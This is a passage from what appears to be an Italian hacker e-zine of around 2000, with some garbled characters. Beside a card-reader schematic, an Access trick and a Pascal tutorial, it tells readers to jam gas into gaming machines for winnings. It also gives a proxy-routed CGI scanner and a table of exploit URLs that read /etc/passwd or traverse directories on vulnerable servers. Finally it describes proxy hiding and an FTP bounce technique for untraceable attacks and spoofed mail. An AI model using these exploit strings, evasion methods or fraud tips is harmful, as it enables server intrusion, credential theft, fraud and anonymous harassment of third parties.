accendiGas da combattimento nella fessura delle banconote, ok adesso accendete accendete, la macchina segnera' punti punti punti, probabilmente si impalla ma niente paura la memoria tiene i vostri puntazzi. Massima vincita da me riportata=1.000.000lire Secondo metodo: Allora questo metodo e' meno efficace, nel senso che non funziona su tutte le macchinette. Smplicemente dovete impallare la macchina accendendola e spegnendola mille volte finche non si impalla sputando fuori mille ticket. Credo siano i metodi piu' semplici ed efficaci che conosca CIAOOO Fatene buon uso BY SpIRIToZ http://spiritoz.cjb.net spiritoz@nfmail.com irc: #hackernow2 *********************************** *** Carte Magnetiche by [RequieM] *** *********************************** /* Articolo: */ /* * libri/testi che trattano l'arg nominati in seguito * */ /* * Non necessaramente questo articolo avra' un seguito * */ Le proprieta' magnetiche sono sempre state utilizzate nel campo dell'informa tica fin dagli albori di questa materia inquanto la base di esse . Questo articolo vuole generalmente esplicare la teoria delle carte magnetizzate . La "stringa" `carte magnetiche` ha per molti di noi un sinonimo che utilizziamo quasi quotidianamente ...il bancomat . Sicuro del fatto che la maggior parte di voi altro non puo' essere interessata che a questo argomento , prenderemo a modello il bancomat . I primi a "bucarlo" sono stati degli hacker tedeschi i quali hanno dimostrato la totale inadeguatezza del sistema di sicurezza dei bancomat . Costruitisi un lettore di carte magnetiche con delle testine di un mangia cassette, vedremo dopo gli schemi , hanno crittanalizzato la PARTE di codice pin contenuta nella 3a banda di cui e' composta 1a scheda magnetica standard, risalendo alla totalita' del codice tramite analisi statistiche . Il metodo con cui vengono codificate le carte magnetiche e' quello binario 0/1 per ogni valore si usano di solito 8 bit --> standard ASCII Le dimensioni normali secondo lo standard ISO 3554 sono {8,5 x 5,4} cm ; le tracce sono 3 e sono spesse 0.11" l'una ossia 0,275 cm . Le informazioni sono registrate con 2 standard di codifica differenti . Lo standard ANSI/ISO BCD{1} e ANSI/ISO ALPHA{2} {1} usato per la codifica delle 2 bande partendo dal basso {2} usato per la codifica dei dati sulla 1a banda L'header standard in teoria dovrebbe essere l'ISO 3554 {in Italia di solito e' rispettato} --> andatelo a vedere Questo standard divide la posizione delle info sulle card ma a noi interessa la struttura della 3a banda : E' la traccia nascosta , l'header e' variabile lo schema e' questo : 107 caratteri (std BCD) nei campi : SS,FC,PAN,Use security data,Additional Data,ES,LRC (vedi standard in internet) Il campo "clue" e' "Use security ecc. ecc." che contiene : - codice del paese - codice di cc - codice PIN - data di scadenza - numero di serie della carta - numero segreto della carta - info non indispensabili a seconda del software di lettura della card Questi dati vengono poi cifrati ...per evitare che siano leggibili a chiunque. Dopo la tedescata tutte le ditte scrittrici di card tendono a mantenere parte delle info , di qualsiasi natura esse siano , in 1 database che renderebbe + difficoltoso risalire alla totalita' di esse . Consiglio attenta lettura e studio {mesi} di arts in merito su Phrack#37 / Hack-Tic #8 #9 #10 il prog allegato e' stato scritto di notte con gli occhi che vedevano a 30Hz Verticali ... SCHEMA ELETTRICO DI UN LETTORE DI CARTE MAGNETICHE . 12V | |------||----------------------|------|-------------------------------|-----| __|__ | | | | > | -- | | | R5 < > - C7 = | < > R7 < | < > R3 | > | R1 > < | |-(vedi sotto) __|__ < | | _| -- | |---------||---------|----------|---|-| Q2 - | _ C3 | | -| C1 | _ Q1 | | |---------| |----------------||-------------|_------- = C4 < < | | | -| | | R6 > R8 > = C5 @ < | --- | < < | @ R2 > | --- C2 ----- | | | @ L1 < < | -- |-----|--------- @ | > R4 | - | | | < | ----- | |-----|------ -- _____ | - -- __|__ - -- - -(vedi sotto)--------------------------Output | | | | = C6 | | ^ Z1 | | --------- R1 = 68k, R2 = 10k , R3 = 22k , R4 = 2,2k R5 = 8.2k , R6 = 1k , R7 = 2.2k , R8 = 47 C1 = 22uF , C2 = 10uF , C3 = 47uF , C4 = 22nF C5 = 150uF , C6 = 22nF , C7 = 2200uF ossia 16V L1 = Testina magnetica (mono) Z1 = Zener Diode con in breakdown di ~ 6V Q1,Q2 = qualsiasi transistor bipolare NPN Questo schema presuppone 1a certa conoscenza nel campo ; I calcoli li ho riveduti velocemente apportando qualche modifica agli schemi riportati sulle riviste gia' nominate . Il programma e' bene usarlo 3 volte per vedere se i dati non concordano . Il codice necessario a crittanalizzare il contenuto della 3a banda non verra' reso disponibile . /* requiem@freemail.it */ /* byall [RequieM] */ ͻ Ŀ OPEN SOURCE segnalatoci da MAXPIRATA ٺ ͼ Ciao ragazzi .. voglio riportare un'articolo (interessante) apparso si inter.net di Aprile. Leggetelo e poi fatemi sapere cosa ne pensate ! ------------------------------------------------------------------------------------------ Un gruppo di volontari sta lavorando alla progettazione delle componenti hardware che formano un computer con l'intento di rilasciare schemi e disegni gratuitamente alla comunita'. L'obbiettivo e' di far nascere anche qui una comunita' di sviluppatori che possa in pochi anni arrivare a successi analoghi a quelli che sono stati ottenuti con il software. Immaginate un intero pc generato dalla collaorazione di migliaia di ingegnieri e appassionati mossi solo dalla voglia di fare il miglior computer. Di per se' la notizia e' interessantissima, ma non e' poi eccezionale se vista facendo fuoco su un orizzonte piu' lontano. Credo che stiamo entrando in un epoca dove ci saranno molti progetti volontaristici per la condicisione gratuita del sapere per il bene della comunita'. Un movimento che si potrebbe definire Conoscene "aperte", o meglio condivise. Internet e la potenza di calcolo dei pc costituiscono l'humus per la proliferazione di questo nuovo modus cogitanti. Linux e' l'esempio bandiera dei numerosi progetti di programmi a sorgenti gratuiti e , come gli altri, e' stato portato avanti dal lavoro infaticabile di decine di migliaia di volontari. Tra questi nessuno era ed e' interessato ad un ritorno economico; io' che li ha sempre spinti e' una miscela di motivazioni he non ha a che vedere con il denaro:passione e divertimento, stima del gruppo di sviluppatori, consapevolezzadi contribuire alla realizzazione del miglior sistema operativo del mondo , filantropia. Insomma un tipo di interessi che rompe gli schemi dell'impostazione economica classica, dove tutto e' fatto per soldi. La ragione per cui molti analisti credono ce l'open source sia un qualcosa di passeggero e' dovuta al fatto che prima o poi questo ardore per la gratuita' svanisca e si ritorni alla motivazione pecunaria . L'esempio a cui facevo riferimento , quello dell'harddware aperto (www.opencores.org) e' solo un esempio di quello che si sta preparando.Da anni i docenti delle universita' di tutti i paesi anglosassoni pubblicano on line i risultati dei loro studi di modo che altri possano usufruire, suggerire e portare avanti le ricerche. I professori nostrani, invece, sono troppo impegnati a riscrivere per l'ennesima volta libri banali scritti in modo incomprensibile per aumentare le pubblicazioni. Frecciatine facili a parte,tale contesto ha avuto come frutto la nascita dell'open law project. I professori Larry Lessing e Charles Neson dell'universita' Haward hanno dato vita ad una rete di esperti in legge,avvocati e studenti che oltre ad apportare idee su come modificare leggi non piu' al passo con i tempi se non ipotizzarne di nuove, consente di condividere esperienze e conoscenze su specifici casi di maggior spessore. Certo , il polso deciso e il carattere tranquillo di Lessing,capo del progetto, e' fondamentale perche' si prendano posizioni precise su vari argomenti e perche' si costituisca una efficace organizzazione del lavoro. Ma questo e' fondamentale per qualsiasi cosa ed e' avvenuto anche con lo sviluppo di Linux con la presa al "comando" di Torvald.Un ulteriore ambito dove potrebbe facilmente nasere un altro progetto di conoscenze aperte e' quello della medicina . [...] Certo e' che linux non sara' da solo. --------------------------------------------------------------------------------------------- Ok...avete letto quello che sta sritto sopra? Siete contenti? Be io si ... pero ' sono molto meravigliato di sta notizia. Dove ho messo [...] l'autore parlava delle possibili applicazioni di questa "etica" sulla medicina , sull'arte....pero' penso che a voi interessava quella relativa all'hardware. Pero' notate come finisce l'art : " Certo che linux non sara' da solo " .... speriamo che quello che dice l'autore non sia solo un sogno :) Andate a vedere il link : www.opencores.org Ora vi saluto ! Ringraziamenti vanno a : N0bodY88 e RigoR MorteM ( i miei due amiconi ) fatevi sentire tutte e due quando avete un po' di tempo ! Ciao a tutti gli amici di newbie da |M4X| maxpirata@hotmail.com P.S. :Per qualunque critica, richiesta d'aiuto, collaborazione per newbie, ecc..ecc...citofonatemi a : maxpirata@hotmail.com ۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ ۰۲۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰۰ ۰۰۰۰۰۰۰۰۰۰۰ __ ___ _ _______ ____ ____ / |\/ /| |_ ___| __ \ / _ |\ -------------/ |/ / | |_\ \__| _/\/ /\/ / |-------------- --------------/ /| / /| | \ \ | | \\/ /_/ / /------------- /__/ |__/ / |_| \__\|_|\_\|___ / / \__\/\__\/ \_\ \__\__\\_\____\/ THe DeMoN (c) CoMPuTeR'S HeaVen SoCieTy ***************************************************************************** **************************** SoFTWaRe CoLLeCTioN *************************** ***************************************************************************** Presenta : Come bloccare e sbloccare la possibilit di modificare un dbase in Acess97.... e ascoltate bene: anche nel 2000 hi hi hi hi hi hi hi hi hi hi hi hi ( W Microsoft che non corregge i buchiiiiii tra un relase e l'altra ) Occorrente : Ma guarda un po', Acess 97 o 2000 he he he 30 min del tuo inutile ( o preziosissimo ) tempo ( come vuoi ) Sto cercando di smettere di fumare quindi niente cicche nelle immediate vicinanze ... :) Uno stereo... la musica indispensabile per ipnotizarre il PC .... Vedi tu una Coca Cola o t alla pesca, come ti gira ... Buoni riflessi con il mouse ... questo non uno scherzo ... Iniziamo creando un Dbase con Acess come cacchio ci gira quindi divertitevi :) L'unica cosa che vi consiglio di creare una maschera in modo da rendere il tutto un po' pi divertente he he he he. (1) Come bloccare un database Una volta creato bisogna settare i parametri di avvio per il nostro dbase. Per fare ci andate sulla barra dei men quindi: "Strumenti" ==> "Avvio ..."; vi si dovrebbe aprire una form nella quale potete inserire tutti i parametri di avvio che volete. Vediamoli qui di seguito ( visto che potrebbero essere utili un giorno ve li spiego velocemente tutti :)): "Titolo aplicazione" => il titolo che appare sulla finestra principale di Acess ( in alto o sinistra ). "Icona aplicazione" => lo sapevate che potete cambiare l'icona di acess in alto a sinistra? Ora lo sapete, basta inserire qui quella che volete :). "Barra men" => nel caso creiate pi barre dei menu potete associare quella che volete a questo dbase altrimenti potete lasciare "(predefinita)". "Men completi" => Eccoci arrivati alla prima voce interessante... deselezionandola spariscono i men: "Visualizza", "Formato", "Strumenti" he he he proprio "Strumenti", quindi una volta modificate le impostazioni di avvio deselezionando questa voce non pi possibile tornare indietro (teoricamente... vi spiego poi come si fa a ritornarci) "Men di scelta rapida predefiniti" => Deselezionandolo si disabilitano i men di scelta rapida, incredibile vero? :) "Visualizza maschera/pagina" => Imposta la maschera o la pagina di partenza all'apertura del dbase, quella che viene aperta automaticamente all' avvio "Visualizza barra di stato" => Devo dirlo? Fa sparire la barra di stato in basso :) "Visualizza finestra database" => Fa sparire la finestra attraverso la quale si creano tutte le finestre, le maschere, i report ecc... Altr cosa interessante non vero? "Barra men di scelta rapida" => stessa cosa dalla "Barra men" solo che sta volta per quelli di scelta rapida Stupefacente ......... :) "Barre srtumenti incorporate" => Toglie semplicemente tutte le barre degli strumenti, cosa moooooolto interessante per il blocco dello stesso dbase. "Consenti modifica a barredegli strumenti/men" => autoesplicativo... OK ultimo sforzo e li abbiamo visti tutti... Clickate su "Avanzate >>"e vi dovrebbe apparire una nuova check "Usa tasti speciali Acess" anche questo dovrebbe essere autoesplicativo comunque disabilita i shortcut via tastiera di acess. Bene bene adesso che li abbiamo visti un po' tutti a voi il divertimento di settarli come pi vi piace per creare una semiaplicazione basata su Acess. Notate solamente che con l'abbinata di alcune di queste opzioni potete bloccare la struttura del dbase. Vediampo un po', nel bel mezzo del cammin di nostr... azz sto scrivendo la Divna Commedia che non c'entra un cacchio se non per il fatto di essere una commedia :) (Cazzata colossale). Ci che volevo dire l'abbinata di praticamente tutte le check eccetto quella relativa alla barra di stato... (2) Come sbloccare un database Ora che avete bloccato il vostro bel database arrivo io e ve lo modifico come cacchio mi pare e vi dico pure come fare... Prima quando vi ho detto che bisogna essere un po' rapidi con il mouse non scherzavo. Per rimodoficare la opzioni di avvio dovete innazitutto riavviare acess rieseguendolo senza caricare alcun dbase in modo tale che parta con la barre dei men predefinita. Una volta lanciato vi chieder se aprire un dbase esistente o crearne uno nuovo: voi selezionate quello esistente bloccato ma NON APRITELO ASSOLUTAMNETNE ORA. Spostatevi con il mouse sul men "Strumenti"e appena premete il tasto IVIO per aprire il database clickateci sopra in modo tale che il men si apra durante il caricamento del dbase e ... magia ... il submen "Avvio" ancora l disponibile he he he. Entrateci e riabilitate tutto quindi uscite oops non cambiato nulla ... chiaro il men non si chiama Avvio per nulla... Dovete uscire da Acess radicalmente e una volta usciti rilanciatelo e aprite normalmente il vostro dbase e.... ma guarda ora posso modificarne la struttura... che bello... Bene ora che ho finito di spiegarvi anche questa cacchiata,che comunque spero serva a qualcuno, arriviamo ai saluti. Ciao N0bodY e tnx per avermi regalato un' altro spazietto in NewBies spero di non averlo sprecato... Ciao anche ad un mio amico che si chiama Bernardo il quale una sera mi ha introdotto un po' il mondo di Acess e sinceramente non ricordo pi se mi ha spiegato questa cosa o se l'ho scoperta da solo comunqu Thanks!... Ah un'altra cosa: "byez to all" ͻ Ŀ MILLENIUM CGI BUG ٺ ͼ Articoluz dedicato a: Zebra3, Kobeb, Marlborol, caesar79, gaizka :) Vs-Ded To: Sempre verso di te..lo sai benissimo, che tu possa cambiare nick a me non frega un caxxo, io ti ritrovo, te su IRC non ci metti piede. Found ! Found ! Found ! Avrete mika bekkato un server bakato da 65 CGI contemporeaneamente ? Mhmhmhm...bah suppongo proprio di no... Com'e' possibile che fino alla notte precedente il 2k tutti i prog di questo genere mi fungevano ? ora che gli e' preso ? Il mio computer avra' il millennium bug ? mah.. Vi converebbe dare un'occhiatina ai sorgenti di cgichk.c e altri prog si ono utilizzati nella ricerca di cgi's bug da remoMti molti di questi basano il proprio lavoro sulla ricerca di una particolare stringa in arrivo dal server. Il server http ci risponde in diversa maniera a seconda della richiesta inviata: - 200 OK .Quando la richiesta e' andata a buon fine - 400 Bad Request .Potete ben immaginare :) - 404 Not Found .no comment :P Ecco cosa succede quando vi telnettate alla porta 80 e richiedete un qualsiasi file non esistente nella root del server: [root@localhost /root]# telnet 127.0.0.1 80 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. GET /cgi-bin/phf HTTP/1.0 HTTP/1.1 404 Not Found Date: Wed, 12 Apr 2000 21:12:42 GMT Server: Apache/1.3.9 (NetRevolution Advanced Extranet Server/Linux-Mandrake) PHP/3.0.13 mod_perl/1.21 Connection: close Content-Type: text/html 404 Not Found

Not Found

The requested URL /cgi-bin/phf was not found on this server.

Connection closed by foreign host. Molti di questi programmi ricercano in caso di successo la stri"nga" 200 e non l'intera stringa "200 OK". A questo punto son sicuro avrete capito benissimo quale sia il bug...no ? come no ? oh ? mbe' ? Osservate la sessione...avrete notato che anke se il server ci risponde con un 404 Not Found la stringa "200" compare cmq nel buffer di dati inviatoci... bravi...ora avrete capito..il prob e': LA DATA !!! siamo nel 2000 e il "2000" contiene un "200" al suo interno ihihihih. Correggere il bug e' una vera LAMERATA basta editare il sorgente e sostituire la stringa 200 con 200 OK...non mi dite che non avete capito..perche' in questo caso e' meglio che vi compriate un bel cervello nuovo di zecca. Anyway essendoci occupati dell'argomento abbiamo deciso di codare un programmino che 1 fosse corretto dal bug e (cosa + importante) implementasse una nuova e alquanto malefica funzione : il mascheramento del proprio IP dietro un proxy server :) Premettiamo che la lista dei CGI e' stata copiata ed incollata da cgichktto quello che ne resta (TUTTO IL PROGRAMMA) e' frutto delle nostre cuccuzze spanate. Eccovi i pezzi di sorgente + ostici con i relativi comm.nLi, l'intero sorgesara'te e' contennetra gli allegati :))) port = atoi(prt); /*Convertiamo il numero della porta da un numero ad un integer.*/ printf("Looking Up %s\n",proxy); hs = gethostbyname(proxy); /* Interrogazione del DNS per risalire all'ip del proxy */ if(!hs) { fprintf(stderr,"Unknown host %s!\n",proxy); /* Cakkio non esiste il proxy !!! */ exit(0); } Messaggio subliminare: UTILIZZATE CGI's HELL !!! else { for(i=1;i<65;i++) { memset(&proc,0,sizeof(proc)); memcpy((char*)&proc.sin_addr,hs->h_addr,hs->h_length); /* Riempiamo la struct sockaddr_in con i dati*/ proc.sin_family = AF_INET; /* necessari alla connessione: ip, porca ect.*/ proc.sin_port = htons(port); sprintf(tryfor,"%s%s%s",request,target,buff[i]); /* Formattiamo la stringa da inviare */ sock = socket(AF_INET,SOCK_STREAM,0); /* Tipica creazione di un socket */ if(sock<0) { fprintf(stderr,"Error!!!I Can't Connect to %s\n",proxy); exit(0); } if(connect(sock,(struct sockaddr *) &proc,sizeof(proc)) ==-1) { /* Connettiamo il socket */ fprintf(stderr,"Error!!!Can't Connect to %s\n",proxy); exit(0); } printf("Checking for %s",cginame[i]); send(sock,tryfor,strlen(tryfor),0); /* Inviamo la nostra richiesta al server */ recv(sock,cgibuff,sizeof(cgibuff),0); /* Risposta del server in cgibuff */ if(strstr(cgibuff,okmsg)) { /* Controlla se nel buffer esiste la stringa "200 OK" */ print("YeAh....an hole! :)\n"); } else { print("Bleah...nothin :(\n"); } } close(sock); exit(0); } } Grazie della cortese attenzZZZZZzzione il rosso demone maledetto ed il sommo poeta super-dotato vi saluutano e vi ricordano di portare i gentili omaggi alle vostre rispettive madri. :)) Ciaaaaaaaaaaaaa'a'a'a'a'a'a'a'a' Dante Alighieri & Cthulhu ͻ Ŀ NETSCAPE AIUTACI TU! ٺ ͼ Benissimo..non penso ci sia bisongno di troppi commenti riguardo 'sto altro articu'lo Es. http:\\www.dantuccio.com bug http:\\www.dantuccio.com\cgi-bin/campas?%0acat%0a/etc/passwd%0a Thisss aRt is DeEEEd to: Simona ed Angela....nonostante abbiate 2 caratteri diametralmente opposti siete riuscite entrambe a sconvolgermi la vita. :) TH|$ 4rT |$ Vs-DeD to: Tutte le volte che sto azz di IRC mi confonde fisicamente...moralmente...ed anche...... sentimentalmente....porc'! Ovviamente prima di provarli usare un bel proxetto non fa mai male....sapete ci sono anche i log per l'http...e' una porta anche quella no ?? Non raramente mi sono imbattuto in un "Smile you'r on candid camera" oppure "your ip has been logged" quindi preservatevi....proxatevi...hihihi....meglio se + di uno ! __________________________________________________________________________ | ^Programma buggato^| ^Stringa da inserire nel vostro browser di fiducia^ | | |Campas cgi-bin | cgi-bin/campas?%0acat%0a/etc/passwd%0a | | |phf | cgi-bin/phf?Qalias=%ff/bin/cat%20/etc/passwd | | cgi-bin/phf?Jserver=x&Qalias=x%0A/bin/cat%20/etc/passwd | | cgi-bin/phf?Qalias=x%0A/bin/cat%20/etc/passwd | | |cgi-bin test | cgi-bin/test-cgi?* | | |Count.cgi | cgi-bin/Count.cgi?display=image&image=../../../../../../path_to_gif/file.gif | | |htmlscript | cgi-bin/htmlscript?../../../../etc/passwd | | |info2www vers. 1.1 | info2www '(../../../../../../../bin/mail jami | usato come |-----|bomb|---------->| log visualiz | | | | mandante del | | | | | |boss siciliano| | | |(192.120.99.12) | |(212.100.23.9)| |(212.100.23.9)| ---------------- -------------- -------------- Naturalmente l'attacco che avete effettuato sara' l'ip del server ftp "base" e non il vostro. Ih Ih Ih. Forse non mi sono spiegato meglio. Se avete un proxy meglio ancora, cosi' andate sempre piu' lontani. Eh Eh Eh Eh. Vi mostro un'altro esempio che si puo' fare con questa tecnica. Dunque, supponiamo che qualcuno vi sta proprio sulle sfere (coglioni) ma veramente sulle sfere e volete inviare una Fakemail praticamente senza sospettare che sei stato tu? Okay, collegate al server "base" (Ftp) e inviate il file comandi della solita FakeMail (HELO, MAIL FROM, RCPT TO, DATA). Una volta fatto questo, ora dovete aprire la solita applicazione telnet e collegatevi sul server "base" con la porta 21 e digitate il comando PORT x,x,x,x,0,25 dove x,x,x,x sta a significare l'Ip address che deve eseguire il nostro file di comandi e 25 e' la porta del servizio SMTP. Fatto tutto questo, ora digitate RETR filecomandi che serve per eseguire i comandi. Ora la FakeMail verra' inviata dal server senza che il vostro ip address verra' visualizzato. Ih Ih Ih. Ovviamente, con questa tecnica ci potete fare un sacco di cose. Basta usare la vostra fantasia e perche' no, un po' d'astuzia. ----------------------------------------------------------------------- 3 - TURBO PASCAL (By MrTerminator) ---------------- Introduzione ------------ Il linguaggio di programmazione PASCAL si tratta di un linguaggio intermedio tra l'uomo e la macchina, le cui istruzioni vengono interpretate dal calcolatore per mezzo di un programma: il compilatore Pascal. Un compilatore e' un programma che serve a convertire in codice macchina, ovvero in codice eseguibile direttamente dal microprocessore, un insieme di istruzioni scritte in un linguaggio di programmazione. Il compilatore Borland Turbo Pascal X traduce le linee di programmi nel codice macchina della famiglia dei microprocessori Intel x86. Il linguaggio Pascal -------------------- Un linguaggio di programmazione, come qualsiasi altro linguaggio, naturale o artificiale che sia, e' basato su una serie di simboli che obbediscono alle regole sintattiche. Il linguaggio Pascal si basa sulle lettere maiuscole e minuscole (A..Z,a..z), sulle cifre numeriche (0..9), sul carattere di sottolineatura ("_") e su alcuni simboli speciali : + - * / = < > ( ) [ ] { } . , ; : ' piu' avanti vi spieghero' il significato. Alcune parole chiave in PASCAL: and begin const div do else end for if mod not of program string write di cui piu' avanti vi spiego il significato. 3.1 STRUTTURA DI UN PROGRAMMA (By MrTerminator) ----------------------------- Ora entriamo nel vivo della programmazione. program nomedelprogramma; begin istruzione 1; istruzione 2; istruzione 3; . . . istruzione N; end. program : fa seguito la cosidetta "dichiarativa del programma", cioe' il nome del programma che dovete dare. Begin: la parola chiave begin (inizio) da' inizio alla serie di istruzioni. Istruzioni N: le istruzioni vere e proprie, scritte nell'ordine nel quale devono essere eseguite: tali istruzioni costituiscono la parte procedurale. End: la parola chiave end seguita da un punto che non deve mancare quando voi finite il programma. Tuttavia la parola chiave end seguita o no da un punto e virgola (;), che poi piu' avanti vi illustro. Gli identificatori sono nomi simbolici usati per referenziare programmi e molti altri oggetti del linguaggio pascal come variabili e costanti. Questi sono a vostra scelta: potete mettere dei formati da un numero qualsiasi fra lettere, cifre e carattere di sottolineatura, ma il primo carattere non deve essere una cifra. ----------------------------------------------------- Esempi di identificatori VALIDI NON VALIDI Pantani 6Telecoz (inizia con una cifra) Hacker_x Porca/puttana (contiene il carattere /) Prova cazzo culo (contiene uno spazio) formula begin (e' una parola chiave) ----------------------------------------------------- 3.2 - DICHIARAZIONE DATI (By MrTerminator) ------------------------ La caratteristica di questo linguaggio e' quella che i dati devono essere dichiarati prima di utilizzarle. Nel progz, subito dopo l'istruzione identificativa per l'assegnazione del nome, deve seguire la parte dichiarativa. I dati si dividono in 2 categorie: costanti e variabili. Le costanti, una volta definiti, non cambiano il loro valore nel corso dell'esecuzione del programma. Le variabili invece, quando possono modificarlo. Ad esempio: (i+4) / (j*pigreco) I e j sono variabili in quanto possono assumere di volta in volta un valore diverso che determinera' il risultato finale, mentre 4 e pigreco sono costanti. La dichiarazione delle costanti: La parola chiave e' CONST seguita dal nome o identificatore, dal segno = e il valore ESEMPIO: CONST numero = 100; STRINGA = 'NOME'; La dichiarazione delle variabili: Ogni variabile deve essere dichiarata prima dell'inizio di una serie di istruzioni, la parola chiave e' VAR, dopo il nome che avete scelto voi, dovete specificare il tipo della variabile. La dichiarazione di una variabile avviene con l'istruzione VAR nome : tipo; seguito da un punto e virgola. I tipi i dati che voi potete utilizzare sono: INTEGER - I valori contenuti nell'intervallo sono -32768...32768 REAL - I valori compresi sono tra 2.9*10^-39...1.7*10^38 STRING - Contiene una qualsiasi sequenza di caratteri che varia da 1 a 255 BOOLEAN - Contiene i due valori logici che sono TRUE e FALSE CHAR - Contiene tutti i caratteri del CODICE ASCII BYTE - Contiene i numeri che varia da 1 a 255 ESEMPIO: VAR numero,i,j : integer; stringa : string; media : real; 3.3 - Lettura e scrittura dei dati (By MrTerminator) ---------------------------------- Dopo aver dichiarato le variabili inizia la fase di immissione dei dati tramite con la tastiera. Le istruzioni fondamentali in PASCAL sono due: 1) READ(variabile); 2) READLN(variabile); Queste due istruzioni consentono di inserire dati che deve dare l'utente tramite con la tastiera, lo controlla sullo schermo e lo memorizza all'interno della variabile dove e' posto fra le parentesi. Queste due istruzioni read e readln sono uguali, ma hanno un comportamento diverso al termine dell'immissione dopo aver premuto il tasto INVIO: read lascia il cursore sul monitor nella posizione in cui si trova, mentre readln invece manda a capo il cursore alla fine della riga. Le istruzioni per l'emissione dei dati del linguaggio PASCAL sono due: WRITE(output); WRITELN(output); Queste due istruzioni di uscita consentono sul monitor di visualizzare qualcosa che dia come risultato, cioe': valori, variabili, messaggio,ecc. Per esempio: se volete vedere apparire La media e' "numero" bisogna fare semplicemente cosi': Writeln('La media della classe e' ',output); oppure che ne so Writeln(' La somma dei due numeri e' ',num1+num2); ecc... La differenza di queste due istruzioni tra write e writeln. Il primo lascia il cursore nella posizione corrente dopo aver visualizzato un qualcosa. Il secondo invece, dopo aver visualizzato un qualcosa, manda automaticamente a capo il cursore alla riga successiva. 3.4 - L'ISTRUZIONE DI ASSEGNAMENTO (By MrTerminator) ---------------------------------- Dunque, l'istruzione di assegnamento e' un comando che assegna ad un nuovo valore o una variabile che potrebbe essere il risultato di un calcolo o qualche altra cosa e che deve essere adatta al tipo che avete specificato nella dichiarazione. L'assegnamento e' il simbolo := che deve essere tra l'identificatore della variabile e il nuovo valore che dovete assegnare voi. ------------------------------------------ variabile:= valore o espressione algebrica; ------------------------------------------ ESEMPIO : somma:= numero1 + numero2; ------------------ ESEMPIO --------------- Program Somma; var a,b,formula : integer; begin write('Inserisci il 1 numero = '); readln(a); write('Inserisci il 2 numero = '); readln(b); formula:= a+b; {* Questa e' l'istruzione di assegnamento, capito? *} writeln('La somma dei due numeri e' ',formula); readln; end. ------------------------------------------ L'espressione algebrica e' un'espressione formata da operatori aritmetici e funzioni. Gli operatori aritmetici in PASCAL che vi faccio una tabella sono: ------------------------------------------------------------------------------- operatore descrizione + somma tra reali e interi - sottrazione tra reali e interi * moltipl. Tra reali e interi / divisione con risultato reale; possono essere reali e interi div divisione con risultato intero; devono essere interi mod calcolo del resto della div. Intera; devono essere interi -------------------------------------------------------------------------------- 3.5 - LE ISTRUZIONI CONDIZIONALI (By MrTerminator) --------------------------------- If espressione logica (* se *) Then istruzione (* allora *) Else istruzione; (* altrimenti *) Dopo l'istruzione If viene posta l'espressione logica che in seguito viene eseguita l'istruzione che e' posta dopo then altrimenti quella posta dopo l'else. Se in tal caso manca la sintassi else non viene eseguita nessuna istruzione alternativa. L'espressione logica e' un'espressione che e' formata da 1 o piu' operatori relazionali e da 1 o piu' operatori booleani o logici. Hanno come valori vero (TRUE) e falso (FALSE). Ora vi mostro la tabella con i seguenti operatori relazionali: ------------------------------------------ operatore descrizione ------------------------------------------ = uguale a <> diverso da > maggiore di >= maggiore uguale <= minore uguale ------------------------------------------ Sugli operatori booleani (BOOLEAN) sono definiti i seguenti operatori logici: 1) AND (e logico) 2) OR (o logico) 3) NOT (negazione logica). Ora vi mostro un programmino d'esempio: ------------------------------- ESEMPIO ---------------------------- Program Divis_num; Uses crt; var num1,num2,num3 : integer; begin clrscr; {* pulisce lo schermo *} write('Inserisci il 1 numero = '); readln(num1); write('Inserisci il 2 numero = '); readln(num2); write('Inserisci il 3 numero = '); readln(num3); If (num1 mod num3 = 0) and (num2 mod num3 = 0) then writeln(num3,' e' un divisore comune di ',num1,' e ',num2); else writeln(num3,' non e' un divisore comune di ',num1,' e ',num2); readln; end. --------------------------------------------------------------------- 3.6 - L'ITERAZIONE (By MrTerminator) ------------------ L'iterazione, detta anche ripetizione e' una particolare utilita' del l'esecuzione di calcoli ripetuti o di cicli di operazioni da ripetere di un certo numero di volte. Nel linguaggio PASCAL esistono tre tipi di costrutti ripetitivi che sono: 1) while ... do ... {* fintantoche' ... fai ... *} 2) repeat ... until ... {* ripeti ... finche' ... *} 3) for ... to ... do ... {* per ... a ... fai ... *} - WHILE ... DO ... ------------------ while (condizione) do begin istruzione1; istruzione2; istruzione3; . . . . istruzioneN; end; L'istruzione while ... do, in pratica, tutte le istruzioni del blocco sono ripetute, per tutto il tempo in cui l'espressione logica, rimane TRUE. L'espressione viene valutata prima dell'esecuzione dell'istruzione. Se l'espressione e' false, salta tutto il blocco delle istruzioni, praticamente l'istruzione non viene eseguita nemmeno una volta. ------------- ESEMPIO -------------- Program som_esempio; uses crt; var n,b,formula : integer; begin write('Inserisci N = '); readln(n); b:= 0; formula:= 0; while (b < n) do begin b:= b + 1; formula:= formula + b; end; writeln('La somma dei primi ',n,' numeri interi e' ',formula); readln; end. ----------------------------------- - REPEAT ... UNTIL ... ---------------------- REPEAT istruzione1; istruzione2; istruzione3; . . . . istruzioneN; UNTIL (condizione); L'istruzione REPEAT ... UNTIL esegue le istruzioni fino a quando la condizione e' falsa. Appena la condizione e' vera vengono eseguite le istruzioni successive alla UNTIL. Notiamo subito che la struttura REPEAT ... UNTIL, il blocco delle istruzioni viene eseguito almeno una volta al suo interno anche se la condizione e' vera. - FOR ... TO ... DO ------------------- L'istruzione FOR ... TO ... DO ci permette di eseguire il blocco delle istruzioni per un certo numero di volte For i:= l to m do begin istruzione1; istruzione2; istruzione3; . . . . end; dove i e' la variabile di controllo che si incrementa automaticamente di una unita' ad ogni esecuzione del ciclo, l che deve partire da un valore inziale fino a m, cioe' il valore finale. Ora vi mostro un esempio: ------------------ ESEMPIO ---------------- Program CODICE_ASCII; uses CRT; var i : byte; begin clrscr; For i:= 1 to 255 do begin writeln(i,')',chr(i)); readln; end; end. ------------------------------------------- Questo e' un progz che stampa a video tutti i caratteri ASCII. 3.7 VETTORI ----------- Ragazzi ci avete capito finora? Se avete capito, procediamo avanti con un nuovo argomento chiamato VETTORI. E' che cazzo sono i VETTORI? Calma Calma, sono qui per questo. ih ih ih ... Bene, prima di inserire i vettori facciamo un piccolo esempio con i tipi scalari standard che diventa complesso risolvere problemi anche molto semplici. ESEMPIO: Begin read(num1,num2,num3,num4, ....., num10); formula:= num1+2num2+num3+num4 +...+num10)/10; write(num1-formula,num2-formula,num3-formula,num4-formula, ..., num10-formula); end. Avete 